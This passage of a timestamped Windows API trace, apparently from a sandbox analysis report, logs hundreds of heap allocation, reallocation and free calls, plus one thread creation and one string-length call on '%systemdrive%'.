RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x26e020, Size=0x20) returned 0x2559b0 [0031.272] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x2559b0, Size=0x40) returned 0x256ad0 [0031.272] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x25a160 | out: hHeap=0x220000) returned 1 [0031.272] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x26dfa8 | out: hHeap=0x220000) returned 1 [0031.272] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x26b528 | out: hHeap=0x220000) returned 1 [0031.272] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x26dfd8 | out: hHeap=0x220000) returned 1 [0031.272] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x27b568 | out: hHeap=0x220000) returned 1 [0031.272] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x26dfc0 | out: hHeap=0x220000) returned 1 [0031.272] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x25a170 | out: hHeap=0x220000) returned 1 [0031.272] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x26dff0 | out: hHeap=0x220000) returned 1 [0031.272] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x257ed0 | out: hHeap=0x220000) returned 1 [0031.272] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x255fe8 | out: hHeap=0x220000) returned 1 [0031.273] lstrlenW (lpString="%systemdrive%") returned 13 [0031.273] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x255988 | out: hHeap=0x220000) returned 1 [0031.273] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x27b458 | out: hHeap=0x220000) returned 1 [0031.273] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x25a140 | out: hHeap=0x220000) returned 1 [0031.273] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x25b430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x100 [0031.274] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10014) returned 0x27d440 [0031.274] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10) returned 0x26dff0 [0031.274] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x26dff0, Size=0x20) returned 0x2559b0 [0031.274] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x2559b0, Size=0x40) returned 0x256b18 [0031.274] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x256b18, Size=0x80) returned 0x27b458 [0031.274] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x27b458, Size=0x100) returned 0x26b9b8 [0031.274] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x26b9b8, Size=0x200) returned 0x26b9b8 [0031.274] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x26b9b8, Size=0x400) returned 0x26b9b8 [0031.274] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x26b9b8, Size=0x800) returned 0x26b9b8 [0031.274] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x26b9b8, Size=0x1000) returned 0x270068 [0031.274] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10000) returned 0x28d460 [0031.274] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10) returned 0x26dff0 [0031.274] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xc) returned 0x26dfc0 [0031.274] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x4) returned 0x25a140 [0031.274] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xc) returned 0x26dfd8 [0031.274] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x4) returned 0x25a170 [0031.274] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26dfa8 [0031.274] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x25a140, Size=0x8) returned 0x25a160 [0031.274] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26e038 [0031.274] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x25a160, Size=0x10) returned 0x26e008 [0031.274] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26b5d0 [0031.274] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26b5e8 [0031.274] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x26e008, Size=0x20) returned 0x2559b0 [0031.274] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26e008 [0031.274] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x8) returned 0x25a160 [0031.274] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xe) returned 0x26b600 [0031.274] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xe) returned 0x26b618 [0031.274] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x2559b0, Size=0x40) returned 0x256b18 [0031.274] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xe) returned 0x26b630 [0031.275] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xe) returned 0x26b648 [0031.275] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xe) returned 0x26b660 [0031.275] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xe) returned 0x26b678 [0031.275] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26b690 [0031.275] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26b6a8 [0031.275] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x8) returned 0x25a140 [0031.275] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26b6c0 [0031.275] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x256b18, Size=0x80) returned 0x27b458 [0031.275] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26b6d8 [0031.275] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26b6f0 [0031.275] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26b708 [0031.275] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26b720 [0031.275] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26b738 [0031.275] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xc) returned 0x26b750 [0031.275] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26b768 [0031.275] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x8) returned 0x25a1a0 [0031.275] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26b780 [0031.275] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26b798 [0031.275] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xc) returned 0x26b7b0 [0031.275] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26b7c8 [0031.275] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xc) returned 0x26b7e0 [0031.275] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26b7f8 [0031.275] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xc) returned 0x26b810 [0031.275] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26b828 [0031.275] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x27b458, Size=0x100) returned 0x271088 [0031.275] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26b840 [0031.275] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26b858 [0031.275] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26b870 [0031.275] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10) returned 0x26b888 [0031.275] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26b8a0 [0031.275] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26b8b8 [0031.275] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x8) returned 0x25a180 [0031.276] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26b8d0 [0031.276] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26b8e8 [0031.276] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26b900 [0031.276] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x6) returned 0x25a1b0 [0031.276] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26b918 [0031.276] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26b930 [0031.276] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x8) returned 0x25a1c0 [0031.276] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26b948 [0031.276] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26b960 [0031.276] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xc) returned 0x26b978 [0031.276] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26b990 [0031.276] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26b9d0 [0031.276] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26b9e8 [0031.276] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xe) returned 0x26ba00 [0031.276] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26ba18 [0031.276] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10) returned 0x26ba30 [0031.276] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26ba48 [0031.276] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26ba60 [0031.276] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26ba78 [0031.276] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26ba90 [0031.276] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x8) returned 0x25a1d0 [0031.276] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26baa8 [0031.276] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26bac0 [0031.276] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26bad8 [0031.276] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26baf0 [0031.276] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x271088, Size=0x200) returned 0x26bdb8 [0031.276] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26bb08 [0031.276] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x8) returned 0x25a1e0 [0031.276] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26bb20 [0031.276] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26bb38 [0031.276] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26bb50 [0031.276] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26bb68 [0031.276] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26bb80 [0031.276] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26bb98 [0031.277] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26bbb0 [0031.277] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26bbc8 [0031.277] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26bbe0 [0031.277] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xc) returned 0x26bbf8 [0031.277] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xc) returned 0x26bc10 [0031.277] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26bc28 [0031.277] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26bc40 [0031.277] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xc) returned 0x26bc58 [0031.277] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xc) returned 0x26bc70 [0031.277] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26bc88 [0031.277] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xc) returned 0x26bca0 [0031.277] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xc) returned 0x26bcb8 [0031.277] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26bcd0 [0031.277] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26bce8 [0031.277] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26bd00 [0031.277] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x8) returned 0x25a1f0 [0031.277] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26bd18 [0031.277] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26bd30 [0031.277] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26bd48 [0031.277] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x8) returned 0x25a200 [0031.277] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26bd60 [0031.277] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xc) returned 0x26bd78 [0031.277] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26bd90 [0031.277] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26bfd8 [0031.277] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26bff0 [0031.277] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26c008 [0031.277] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26c020 [0031.277] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26c038 [0031.277] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xc) returned 0x26c050 [0031.277] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xc) returned 0x26c068 [0031.277] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26c080 [0031.277] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26c098 [0031.277] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26c0b0 [0031.277] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xc) returned 0x26c0c8 [0031.278] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26c0e0 [0031.278] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26c0f8 [0031.278] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26c110 [0031.278] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26c128 [0031.278] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26c140 [0031.278] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26c158 [0031.278] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26c170 [0031.278] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x8) returned 0x25a210 [0031.278] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x6) returned 0x25a220 [0031.278] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26c188 [0031.278] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26c1a0 [0031.278] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26c1b8 [0031.278] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26c1d0 [0031.278] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26c1e8 [0031.278] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xc) returned 0x26c200 [0031.278] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26c218 [0031.278] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26c230 [0031.278] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26c248 [0031.278] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26c260 [0031.278] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xc) returned 0x26c278 [0031.278] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26c290 [0031.278] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26c2a8 [0031.278] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x26bdb8, Size=0x400) returned 0x273070 [0031.278] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26c2c0 [0031.278] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26c2d8 [0031.278] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xc) returned 0x26c2f0 [0031.278] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26c308 [0031.278] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26c320 [0031.278] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26c338 [0031.278] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xc) returned 0x26c350 [0031.278] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26c368 [0031.278] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26c380 [0031.278] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26c398 [0031.279] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x8) returned 0x25a230 [0031.279] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x273490 [0031.279] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xc) returned 0x2734a8 [0031.279] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x2734c0 [0031.279] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x2734d8 [0031.279] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x2734f0 [0031.279] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x273508 [0031.279] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xe) returned 0x273520 [0031.279] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x273538 [0031.279] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x273550 [0031.279] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x273568 [0031.279] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x273580 [0031.279] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x273598 [0031.279] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x2735b0 [0031.279] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x2735c8 [0031.279] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x2735e0 [0031.279] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x8) returned 0x25a240 [0031.279] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x2735f8 [0031.279] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x273610 [0031.279] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x273628 [0031.279] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x273640 [0031.279] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x273658 [0031.279] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x273670 [0031.279] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x273688 [0031.279] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x2736a0 [0031.279] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x2736b8 [0031.279] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xe) returned 0x2736d0 [0031.279] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x2736e8 [0031.279] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xe) returned 0x273700 [0031.279] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x273718 [0031.279] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x273730 [0031.279] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x273748 [0031.280] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x273760 [0031.280] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x273778 [0031.280] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xc) returned 0x273790 [0031.280] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x2737a8 [0031.280] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x2737c0 [0031.280] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x2737d8 [0031.280] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x2737f0 [0031.280] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x273808 [0031.280] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x273820 [0031.280] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x273838 [0031.280] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x273850 [0031.280] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x273890 [0031.280] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x2738a8 [0031.280] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x2738c0 [0031.280] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x2738d8 [0031.280] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x2738f0 [0031.280] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x273908 [0031.280] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x273920 [0031.280] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x273938 [0031.280] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x273950 [0031.280] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10) returned 0x273968 [0031.280] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x12) returned 0x256008 [0031.280] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x273980 [0031.280] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x273998 [0031.280] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x2739b0 [0031.280] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x2739c8 [0031.280] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x2739e0 [0031.280] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x2739f8 [0031.280] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x273a10 [0031.280] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x273a28 [0031.280] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x273a40 [0031.280] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x273a58 [0031.281] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x273a70 [0031.281] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x273a88 [0031.281] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x273aa0 [0031.281] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x273ab8 [0031.281] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x273ad0 [0031.281] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x273ae8 [0031.281] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x273b00 [0031.281] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x273b18 [0031.281] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x273b30 [0031.281] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x273b48 [0031.281] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xc) returned 0x273b60 [0031.281] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xc) returned 0x273b78 [0031.281] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xc) returned 0x273b90 [0031.281] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xe) returned 0x273ba8 [0031.281] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xc) returned 0x273bc0 [0031.281] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x8) returned 0x25a250 [0031.281] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x273bd8 [0031.281] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x8) returned 0x25a260 [0031.281] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x273bf0 [0031.281] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x273c08 [0031.281] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x273c20 [0031.281] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xc) returned 0x273c38 [0031.281] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xc) returned 0x273c50 [0031.281] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x273c90 [0031.281] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xc) returned 0x273ca8 [0031.281] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x273cc0 [0031.281] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x273cd8 [0031.281] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xc) returned 0x273cf0 [0031.281] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x273d08 [0031.281] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xc) returned 0x273d20 [0031.282] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xc) returned 